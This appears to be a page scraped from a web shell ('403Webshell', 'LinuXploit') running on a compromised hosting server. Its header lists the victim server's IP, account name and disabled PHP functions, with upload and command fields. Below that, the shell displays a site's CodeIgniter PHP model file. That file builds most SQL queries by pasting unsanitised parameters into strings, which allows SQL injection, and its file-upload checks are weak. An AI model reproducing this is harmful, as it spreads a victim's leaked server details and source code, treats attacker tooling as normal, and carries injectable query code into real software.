403Webshell
Server IP : 94.136.191.34  /  Your IP : 216.73.216.25
Web Server : Apache
System : Linux hostpanel.netbiz.in 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User : omkar.com_6nnuz6y629h ( 10087)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /var/www/vhosts/omkar.com/httpdocs/application/models/ui/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/omkar.com/httpdocs/application/models/ui/Ui_model01092017.php
<?php

class Ui_model extends CI_Model {

	public function __construct() {
        parent::__construct();
    }
	/*changes*/
	public function get_projects_list($project_type, $project_status){
    	$q1 = "select p.url,p.id, p.small_image, p.name, p.location, p.project_type, p.sub_title, g.image from projects p inner join projects_gallery g on p.id = g.project_id where p.status='1' and p.project_type='".$project_type."' and p.project_status='".$project_status."' and g.category = 'Project listing' order by p.name";
		//echo $q1;exit;
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }
	/*changes*/
	public function page_info($id){
		$this->db->where('id', $id);
    	$query = $this->db->get('pages')->row();
		return $query;
    }
	
	public function project_info($id){
		$q1 = "select * from projects where id='".$id."' ";
		$rz1 = $this->db->query($q1)->row();
		return $rz1;
	}
	
	public function schedule_visit($data){
    	$query = $this->db->insert('schedule_visit', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
    }

    public function save_partner_us($data){
    	$query = $this->db->insert('partner_with_us', $data);
    	$insert_id = $this->db->insert_id();
    	$extension = explode('/', $_FILES["document_file"]["type"]);

    	if(isset($insert_id)){
			$newfilename = '';
			$allowedExts = array("gif", "jpeg", "jpg", "png","pdf","doc","docx");

				if (($_FILES["document_file"]["size"] < 2000000) && in_array($extension['1'], $allowedExts)) 
				{
					$path = $_SERVER['DOCUMENT_ROOT'].FOLDER_NAME."uploads/partner_us/";	
					$newfilename = time().rand().".".$extension['1'];
					if(move_uploaded_file($_FILES["document_file"]["tmp_name"], $path.$newfilename)){
						$data_image = array('attachment_file'=>$newfilename);
						$this->db->where('id', $insert_id);
						$query = $this->db->update('partner_with_us', $data_image);
					}					
					
				}else{
					echo "some error occured";
				}
		}
    	return $insert_id;
    }

    public function current_openings_list(){
    	$this->db->order_by("id", "desc");
    	$this->db->where('status', '1');
    	$query = $this->db->get('jobs')->result_array();
		return $query;
    }

    public function current_openings_description($id){
    	$this->db->where('id', $id);
    	$query = $this->db->get('jobs')->row_array();
		return $query;
    }

	public function get_location($project_type){
    	$q1 = "select DISTINCT c.location from projects p, projects_contacts c where p.id=c.project_id and p.project_type='".$project_type."' and p.status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }
	
	public function get_projects($project_type, $location){
    	$q2 = "select p.id, p.name from projects p, projects_contacts c where p.id=c.project_id and p.project_type='".$project_type."' and c.location='".$location."' and p.status='1' ";
		$rz2 = $this->db->query($q2)->result_array();
		return $rz2;
    }

	public function save_job_application($data, $files){
    	$query = $this->db->insert('job_applications', $data);
    	$insert_id = $this->db->insert_id();

    	if(isset($insert_id)){
			$newfilename = '';
			$allowedExts = array("doc","docx");
   				$extension = explode('.', $_FILES["candidate_resume"]["name"]);

				if (($_FILES["candidate_resume"]["size"] < 2000000) && in_array($extension['1'], $allowedExts)) 
				{
					$path = $_SERVER['DOCUMENT_ROOT'].FOLDER_NAME."uploads/resume/";	
					$newfilename = time().rand().".".$extension['1'];
					if(move_uploaded_file($_FILES["candidate_resume"]["tmp_name"], $path.$newfilename)){
						$data_image = array('resume'=>$newfilename);
						$this->db->where('id', $insert_id);
						$query = $this->db->update('job_applications', $data_image);
					}					
					
				}else{
					echo "some error occured";
				}
		}
    	return $insert_id;
    }

    public function home_page_projects(){
    	$q1 = "select p.url,p.id, p.small_image, p.name, p.location, p.project_type, p.sub_title, g.image from projects p inner join projects_gallery g on p.id = g.project_id where p.status='1' and p.project_status='ongoing_project' and g.category = 'Project listing' order by p.name";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }

    public function ongoing_projects_list(){
    	$q1 = "select p.url,p.id, p.small_image, p.name, p.location, p.project_type, p.sub_title, g.image from projects p inner join projects_gallery g on p.id = g.project_id where p.status='1' and p.project_status='ongoing_project' and g.category = 'Project listing' order by p.name";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }

    public function completed_projects_list(){
    	$q1 = "select p.url,p.id, p.small_image, p.name, p.location, p.project_type, p.sub_title, g.image from projects p inner join projects_gallery g on p.id = g.project_id where p.status='1' and p.project_status='completed_project' and g.category = 'Project listing' order by p.name";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }
    //
    public function banner_info($id){
		$q1 = "select * from projects_banners where project_id='".$id."' and status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function description_info($id){
		$q1 = "select * from projects_description where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function brochure_info($id){
		$q1 = "select * from projects_brochures where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function gallery_info($id){
		$q1 = "select * from projects_gallery where project_id='".$id."' and category='Project details page' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function amenity_info($id){
		$q1 = "select * from project_amenities where project_id='".$id."' and status='1'";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
		/*if(!empty($rz1)){
			//echo $rz1['amenites'];exit;
			//$ids = explode(",", $rz1['amenites']);
			//$i = 0;
			//foreach($ids as $id){
				$q2 = "select name, description, image from amenities where id IN(".$rz1['amenites'].") and status='1' ";
				$rz2 = $this->db->query($q2)->result_array();
				return $rz2;
			//}
		}*/
	}

	public function key_description($id){
		$q1 = "select * from project_key_amenities_desc where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function video_info($id){
		$q1 = "select * from projects_video where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function specification_info($id){
		$q1 = "select * from projects_specification where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function locations_adv($id){
		$q1 = "select * from projects_location_advantages where project_id='".$id."' and status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function construction_updates($id){
		$q1 = "select * from projects_construction_updates where project_id='".$id."' and status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function invest($id){
		$q1 = "select * from projects_investment where project_id='".$id."' and status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function location_info($id){
		$q1 = "select * from projects_contacts where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function project_related_news($id){
		$q1 = "select * from news where project_id='".$id."' order by news_date desc";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function project_enquiry($data){
		$query = $this->db->insert('project_contact_enquiry', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}

	public function fetch_news_details(){
		$this->db->order_by("news_date", "desc");
		return $this->db->get_where("news",array("is_active" => '1'))->result_array();
	}

	public function news_range(){
		$q1 = "SELECT YEAR(`news_date`) min_year FROM  `news` ORDER BY `news_date` ASC LIMIT 1";
		$rz1 = $this->db->query($q1)->row_array();
		$q2 = "SELECT YEAR(`news_date`) max_year FROM  `news` ORDER BY `news_date` DESC LIMIT 1";
		$rz2 = $this->db->query($q2)->row_array();
		$range = range($rz1['min_year'], $rz2['max_year']);
		return $range;
	}

	public function filter_news($year){
		$q1 = "SELECT * FROM  `news` WHERE is_active='1' AND YEAR(news_date) = '$year' ORDER BY `news_date` DESC ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function fetch_press_release_details(){
		$this->db->order_by("press_date", "desc");
		return $this->db->get_where("press_release",array("is_active" => '1'))->result_array();
	}

	public function press_range(){
		$q1 = "SELECT YEAR(`press_date`) min_year FROM  `press_release` ORDER BY `press_date` ASC LIMIT 1";
		$rz1 = $this->db->query($q1)->row_array();
		$q2 = "SELECT YEAR(`press_date`) max_year FROM  `press_release` ORDER BY `press_date` DESC LIMIT 1";
		$rz2 = $this->db->query($q2)->row_array();
		$range = range($rz1['min_year'], $rz2['max_year']);
		return $range;
	}
	
	public function filter_press($year){
		$q1 = "SELECT * FROM  `press_release` WHERE is_active='1' AND YEAR(press_date) = '$year' ORDER BY `press_date` DESC ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function fetch_video_gallery_details(){
		$this->db->order_by("created_date", "desc");
		return $this->db->get_where("video_gallery",array("is_active" => '1'))->result_array();
	}

	public function fetch_newsletter_details(){
		// $this->db->order_by("created_date", "desc");
		// return $this->db->get_where("newsletters",array("status" => 1))->result_array();
		$q1 = "SELECT * FROM  `newsletters` WHERE status='1' ORDER BY `created_date` DESC ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function newsletter_range(){
		$q1 = "SELECT YEAR(`created_date`) min_year FROM  `newsletters` ORDER BY `created_date` ASC LIMIT 1";
		$rz1 = $this->db->query($q1)->row_array();
		$q2 = "SELECT YEAR(`created_date`) max_year FROM  `newsletters` ORDER BY `created_date` DESC LIMIT 1";
		$rz2 = $this->db->query($q2)->row_array();
		$range = range($rz1['min_year'], $rz2['max_year']);
		return $range;
	}

	public function filter_newsletter($year){
		$q1 = "SELECT * FROM  `newsletters` WHERE status='1' AND YEAR(created_date) = '$year' ORDER BY `created_date` DESC ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function fetch_media_kit_details(){
		return $this->db->get("media_kit")->result_array();
	}

	public function fetch_awards_details(){
		$this->db->order_by("rank_order", "asc");
		return $this->db->get_where("awards",array("status" => '1'))->result_array();
	}

	public function fetch_corporate_magazine_details(){
		$this->db->order_by("id", "desc");
		return $this->db->get_where("corporate_magazine",array("is_active" => '1'))->result_array();
	}

	public function home_page_news(){
		$this->db->order_by("news_date", "desc");
		$this->db->limit('4');
		return $this->db->get_where("news",array("is_active" => '1'))->result_array();
	}

	public function get_location_on_property_type($property_type){
		$this->db->distinct();
		$this->db->select('location');
		//$this->db->group_by('location'); 
    	$this->db->order_by('id','desc');
    	$this->db->where(array('project_type'=>$property_type,'project_status'=>'ongoing_project'));
    	$result= $this->db->get('projects')->result_array();	
    	return $result;

    }

    public function get_property_on_property_location($property_loc){
    	$this->db->order_by('id','desc');
    	$this->db->where('location',$property_loc);
    	$result= $this->db->get('projects')->result_array();	
    	return $result;

    }

    public function home_page_banners(){
    	$this->db->select('home_page_banners.*,projects.name as project_name,projects.logo_image');
		$this->db->from('home_page_banners');
		$this->db->join('projects', 'home_page_banners.project_id = projects.id', 'inner'); 
		$this->db->where('home_page_banners.status','1');
		$query = $this->db->get();
		return $query->result_array();

    }

    public function contact_enquiry($data){
		$query = $this->db->insert('contact_enquiries', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}

	public function vendor_enquiry($data){
		$query = $this->db->insert('vendor_enquiries', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}

	public function event_gallery(){
		$q1 = "select g.*,c.name event_name from event_gallery g inner join event_category c on g.category_id=c.id order by g.id desc";
    	$query = $this->db->query($q1)->result_array();
		return $query;
	}

	public function testimonials_list($category){
		$q1 = "select * from testimonials where status='1' and category='$category' order by id desc";
    	$query = $this->db->query($q1)->result_array();
		return $query;
	}

	public function mbassy_project_list(){
		$q1 = "select name from projects where status='1' order by name ";
    	$query = $this->db->query($q1)->result_array();
		return $query;
	}

	public function save_channel_partner_data($data,$files){
		$query = $this->db->insert('channel-partner', $data);
    	$insert_id = $this->db->insert_id();
    	//return $insert_id;

    	if(isset($insert_id) && !empty($_FILES["pan_card"]["name"])){
			$newfilename = '';
			$allowedExts = array("jpg","jpeg","png");
   				$extension = explode('.', $_FILES["pan_card"]["name"]);
   				$newfilename = time().rand().".".$extension['1'];
				$temp_name = $_FILES['pan_card']['tmp_name'];

   				$check_mime = $this->check_image_mime($temp_name);
				if (($_FILES["pan_card"]["size"] < 2000000) && in_array($extension['1'], $allowedExts) && $check_mime) 
				{
					$path = $_SERVER['DOCUMENT_ROOT'].FOLDER_NAME."uploads/pan_card/";	
					
					if(move_uploaded_file($_FILES["pan_card"]["tmp_name"], $path.$newfilename)){
						$data_image = array('pan_card_file'=>$newfilename);
						$this->db->where('id', $insert_id);
						$query = $this->db->update('channel-partner', $data_image);
					}					
					
				}else{
					echo "some error occured";
				}
		}

		if(isset($insert_id) && !empty($_FILES["adhar_card"]["name"])){

				$newfilename = '';
				$allowedExts = array("jpg","jpeg","png");
				$temp_name1 = $_FILES['adhar_card']['tmp_name'];

   				$extension = explode('.', $_FILES["adhar_card"]["name"]);
   				$newfilename = time().rand().".".$extension['1'];
				$check_mime1 = $this->check_image_mime($temp_name1);

				if (($_FILES["adhar_card"]["size"] < 2000000) && in_array($extension['1'], $allowedExts) && $check_mime1) 
				{
					$path = $_SERVER['DOCUMENT_ROOT'].FOLDER_NAME."uploads/adhar_card/";	
					
					if(move_uploaded_file($_FILES["adhar_card"]["tmp_name"], $path.$newfilename)){
						$data_image = array('adhar_card_file'=>$newfilename);
						$this->db->where('id', $insert_id);
						$query = $this->db->update('channel-partner', $data_image);
					}					
					
				}else{
					echo "some error occured";
				}
		}
    	return $insert_id;
	}

	public function mbassy_enquiry($data){
		$query = $this->db->insert('mbassy_enquiry', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}

	public function check_image_mime($temp_name){	
			
		$finfo = finfo_open(FILEINFO_MIME_TYPE);
		$type = finfo_file($finfo, $temp_name);
		//echo $type;exit;
		if ($type == 'image/png' || $type == 'image/jpeg' || $type == 'image/jpg' || $type == 'image/gif') {
			finfo_close($finfo);
			return TRUE;
		}else{
			finfo_close($finfo);
			return false;
		}
	}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit